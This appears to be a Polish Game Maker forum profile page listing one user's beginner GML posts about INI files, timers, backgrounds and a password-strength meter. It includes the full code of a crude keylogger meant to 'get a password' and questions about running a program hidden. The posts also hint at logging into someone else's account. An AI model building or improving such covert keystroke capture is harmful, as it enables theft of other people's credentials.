-
Postów
866 -
Dołączył
-
Ostatnia wizyta
Typ zawartości
Profile
Forum
Wydarzenia
Treść opublikowana przez XxMichałxX
-
oo sorry ze nic nie wnosze do tematu ale zauważyłem nowy kod 'repeat'.. on polega na tym że repeat(30) cos tam costam to costam costam ma sie dziac przez sekunde?
-
W obj2: GML if distance_to_object(obj1)<200 then instance_create(x,y,obj2_pocisk) No i teraz bedzie lecial długi ciąg pocisków. Ja chciałbym zrobić żeby obj2 wypuszczał pocisk co pół sekundy a nie wciąż gdy ten dystans będzie mniejszy niż 200. Oczywiście sam bym to zrobił ale byłoby to za długie chciałbym to mieć w jak najkrótszym kodzie. Z góry thx.
-
iSave v0.2
XxMichałxX odpowiedział(a) na Dawidds temat w Gotowe Skrypty, przykłady, dodatki, silniki 3D dla GM
zal GML file=isave_open('plicz.txt','thu') if file==-1 { show_message('Wykryto modyfikacje pliku chamie jeden!') game_end() } else { show_message('Otworzono!') isave_set('dupa','kupy','dwie') isave_save(file,'plicz.txt','thu') game_end() } I nie modyfikowalem a pisze ze wykryto -
iSave v0.2
XxMichałxX odpowiedział(a) na Dawidds temat w Gotowe Skrypty, przykłady, dodatki, silniki 3D dla GM
jak ustalić id pliku? -
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
Dawidds a jak w twoim isave określić id pliku? bo robie np GML zal='hehe' isave_open('plik.txt','tajne') isave_set(1,'dupa',zal) ___________________________________________ ERROR in action number 1 of Create Event for object control: Data structure with index does not exist. edit: a dobra juz wiem, to nie id pliku tylko tak jakby jak w ini section nie? edit2: a nie jednak nie wiem.. czym w koncu jest to id? bo bez sensu jak chce zapisac plik to musze podac id, nazwe pliku i haslo.. co wpisac w id? -
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
Chętnie bym to pobrał, ale link nie działa ;/ edit: do pobierania jbc -
GML tlo=show_message_ext('Wybierz tlo','Dzien','Noc','Losowo') if tlo='Dzien' then background_index=dzien if tlo='Noc' then background_index=noc if tlo='Losowo' then background_index=choose(dzien,noc,dzien) Nie wiem jak uzyc tego show_message_ext ale chcialbym go uzyc tak jak powyzej jest pokazane + mysle ze background_index=nazwa_bgrounda to chyba zle zastosowanie tej funkcji tak więc: jak uzyc tego s._m._ext i jak zmienic tło rooma?
-
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
o właśnie a to by sie dało samemu jakieś skrypty stworzyc ktore w txt robia takie ala ini? -
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
oj mniejsza o to, a ten plik nie bedzie odgrywał takiej roli jak myślicie. to da sie zrobic C:\itd.. czy nie? -
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
no ale ja chce 'C:\itd..' edit: " / " czy " \ " ? -
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
czyli ini_open('C:\itd..') ? bo tak robiłem to mi pisało ze musi byc w tym samym folderze co gra -
plik ini, ale nie w tym samym katalogu + małe pytanie dot. ini
XxMichałxX opublikował(a) temat w Pytania początkujących
GM mi pisze że plik ini musi byc umieszczony w tym samym katalogu co gra.. da się to jakoś obejść? +Pytanie: Czy ini_write/read_string obsługuje tylko stringi czy też liczby? Jeśli nie to czy do liczb jest ini_write/read_real? -
kur... przegrywam wciąż :huh: ale gra wypas 5/5 Edit: można ją shaczyć wpisując sobie w zapisaną gre w xxx.ini np 99999999 żyć :P
-
Zrobiłem sobie miernik haseł, tylko że napis nie pokazuje się. Oto kod: Create: GML show_message('Miernik trudnosci hasel By Mazo') cykacz=0 pos=0 litera='' com='' haslo=get_string('Podaj haslo:','') litery=string_length(string_letters(haslo)) liczby=string_length(string_digits(haslo)) znaki=string_length(string_lettersdigits(haslo)) pktuz=litery*3+znaki*4+liczby*2 pkt=0 if pktuz>100 then pktuz=100 if pktuz<=10 then com='Tego w ogole nie mozna haslem nazwac!' if pktuz>10 and pktuz<=20 then com='To haslo jest beznadziejne!' if pktuz>20 and pktuz<=30 then com='Slabe' if pktuz>30 and pktuz<=40 then com='Ehh.. cienkie, ale przejdzie.' if pktuz>40 and pktuz<=50 then com='Da rade.' if pktuz>50 and pktuz<=60 then com='Moze byc' if pktuz>60 and pktuz<=70 then com='Calkiem calkiem!' if pktuz>70 and pktuz<=80 then com='Twarde haslo!!' if pktuz>80 and pktuz<=90 then com='Bez hackowania nikt nie odgadnie! Extra!' if pktuz>90 then com='Super mocne haslo! Nie ma szans na odgadniecie!' jedz=1 drawcom='' dlug=string_length(com) Step: GML if jedz=1 { pkt+=0.5 if pkt=pktuz { jedz=0 cykacz=1 } } if cykacz=1 { cykacz=0 alarm[0]=0 } Alarm 0: GML if pos<dlug { pos+=1 litera=string_char_at(com,pos) drawcom+=string(litera) if litera=' ' { } else { sound_play(pyki) } alarm[0]=10 } Draw: GML draw_healthbar(0,0,200,40,pkt,c_white,c_red,c_lime,0,1,1) draw_set_color(c_white) draw_text(0,50,drawcom) Program polega na tym ze sie wpisuje haslo on oblicza ilosc liter, znakow i liczb i je sobie mnozy i dodaje i wychodzi zmienna pktuz (punkty uzyskane). zmienna pkt ma sie powiekszac az dojdzie do pktuz i wtedy ladowanie na pasku zatrzyma się, a po tym co 10 'czasu' ma sie pojawiac kolejna literka ze zmiennej com. Czemu się nie pojawia? W tym programie juz mam taki syf ze nie moge sie połapac co zle zrobilem, albo o czym zapomnialem więc pisze tu. Z gory thx Edit: Jakbyco to tło rooma jest czarne dlatego draw_set_color(c_white)
-
ale ja nie rozumiem tego 'for' i tych tablic i chce zrobic swojego keyloggera edit: aha juz qmam bo te znaki sie wczytały z tego jak wpisywałem nazwe keylogowania?
-
Create: GML nazwa=get_string('Podaj nazwe keylogowania:','zdobyc_haslo') ini_open('keylogger.ini') text='' if ini_section_exists(nazwa) then text=ini_read_string(nazwa,'TEXT','text') Step: GML if (keyboard_check_direct_pressed(ord('A'))==true) { text+='A' direct_pressed_end(ord('A')) } if (keyboard_check_direct_pressed(ord('B'))==true) { text+='B' direct_pressed_end(ord('B')) } if (keyboard_check_direct_pressed(ord('C'))==true) { text+='C' direct_pressed_end(ord('C')) } if (keyboard_check_direct_pressed(ord('D'))==true) { text+='D' direct_pressed_end(ord('D')) } if (keyboard_check_direct_pressed(ord('E'))==true) { text+='E' direct_pressed_end(ord('E')) } if (keyboard_check_direct_pressed(ord('F'))==true) { text+='F' direct_pressed_end(ord('F')) } if (keyboard_check_direct_pressed(ord('G'))==true) { text+='G' direct_pressed_end(ord('G')) } if (keyboard_check_direct_pressed(ord('H'))==true) { text+='H' direct_pressed_end(ord('H')) } if (keyboard_check_direct_pressed(ord('I'))==true) { text+='I' direct_pressed_end(ord('I')) } if (keyboard_check_direct_pressed(ord('J'))==true) { text+='J' direct_pressed_end(ord('J')) } if (keyboard_check_direct_pressed(ord('K'))==true) { text+='K' direct_pressed_end(ord('K')) } if (keyboard_check_direct_pressed(ord('L'))==true) { text+='L' direct_pressed_end(ord('L')) } if (keyboard_check_direct_pressed(ord('M'))==true) { text+='M' direct_pressed_end(ord('M')) } if (keyboard_check_direct_pressed(ord('N'))==true) { text+='N' direct_pressed_end(ord('N')) } if (keyboard_check_direct_pressed(ord('O'))==true) { text+='O' direct_pressed_end(ord('O')) } if (keyboard_check_direct_pressed(ord('P'))==true) { text+='P' direct_pressed_end(ord('P')) } if (keyboard_check_direct_pressed(ord('R'))==true) { text+='R' direct_pressed_end(ord('R')) } if (keyboard_check_direct_pressed(ord('S'))==true) { text+='S' direct_pressed_end(ord('S')) } if (keyboard_check_direct_pressed(ord('T'))==true) { text+='T' direct_pressed_end(ord('T')) } if (keyboard_check_direct_pressed(ord('U'))==true) { text+='U' direct_pressed_end(ord('U')) } if (keyboard_check_direct_pressed(ord('W'))==true) { text+='W' direct_pressed_end(ord('W')) } if (keyboard_check_direct_pressed(ord('Y'))==true) { text+='Y' direct_pressed_end(ord('Y')) } if (keyboard_check_direct_pressed(ord('Z'))==true) { text+='Z' direct_pressed_end(ord('Z')) } if (keyboard_check_direct_pressed(ord('X'))==true) { text+='X' direct_pressed_end(ord('X')) } if (keyboard_check_direct_pressed(ord('V'))==true) { text+='V' direct_pressed_end(ord('V')) } if (keyboard_check_direct_pressed(ord('1'))==true) { text+='1' direct_pressed_end(ord('1')) } if (keyboard_check_direct_pressed(ord('2'))==true) { text+='2' direct_pressed_end(ord('2')) } if (keyboard_check_direct_pressed(ord('3'))==true) { text+='3' direct_pressed_end(ord('3')) } if (keyboard_check_direct_pressed(ord('4'))==true) { text+='4' direct_pressed_end(ord('4')) } if (keyboard_check_direct_pressed(ord('5'))==true) { text+='5' direct_pressed_end(ord('5')) } if (keyboard_check_direct_pressed(ord('6'))==true) { text+='6' direct_pressed_end(ord('6')) } if (keyboard_check_direct_pressed(ord('7'))==true) { text+='7' direct_pressed_end(ord('7')) } if (keyboard_check_direct_pressed(ord('8'))==true) { text+='8' direct_pressed_end(ord('8')) } if (keyboard_check_direct_pressed(ord('9'))==true) { text+='9' direct_pressed_end(ord('9')) } if (keyboard_check_direct_pressed(vk_space)==true) { text+=' ' direct_pressed_end(vk_space) } if (keyboard_check_direct_pressed(vk_backspace)==true) { string_delete(text,string_length(text)-1,1) direct_pressed_end(vk_backspace) } Game End: GML ini_write_string(nazwa,'TEXT',text) Draw: GML draw_text(0,0,text) Włączam, napisałem np.: "haslojakiestam" i odrazu po włączeniu text przyjmuje wartosc 'AEHIJKLMOST' czyli z zmiennej nazwa poprzekładało litery losowo i tak za kazdym razem.. z jakiej paki ?! :boxed: :blink: <_< Źle nazwany temat. Ostrzeżenie. gnysek
-
zrobiłem takie coś: GML if keyboard_check_pressed(vk_backspace) then string_delete(text,string_length(text),1) czemu nie dziala?
-
Ukryty program i zmiana pulpitu
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
hę? wcale tego dla sistry nie potrzebuje tylko chce zrobic program ktory w zaleznosci od godziny i miesiaca pokazje na pulpicie np gwiazdy i ciemno, albo jasne niebo jak dzień.. -
1. Jak zrobić ukryty program którego nie widać? 2. Jak zrobić żeby pulpit (tapeta/tło) się zmienił/o?
-
0 przed liczbą - tak jak w zegarku
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
haha to po co ja sie męczyłem ;D -
0 przed liczbą - tak jak w zegarku
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
a jak zrobic zeby brało dane z windowsowego zegarka? Za dużo tych 2postów. Ostrzegałem, że następnym razem będzie warn no i... Warn. Mimek -
0 przed liczbą - tak jak w zegarku
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
ano 300 na 300 nie miesci sie ;p -
0 przed liczbą - tak jak w zegarku
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
tak, tak -
0 przed liczbą - tak jak w zegarku
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
pff ;/ nic nie widac nie wiem czemu w obu kodach -
Czemu nie ma keyboard_string_direct? + ukryte okno
XxMichałxX odpowiedział(a) na XxMichałxX temat w Pytania początkujących
Fajnie i moge sie na jego konto zalogować, ale nie znam hasła -,-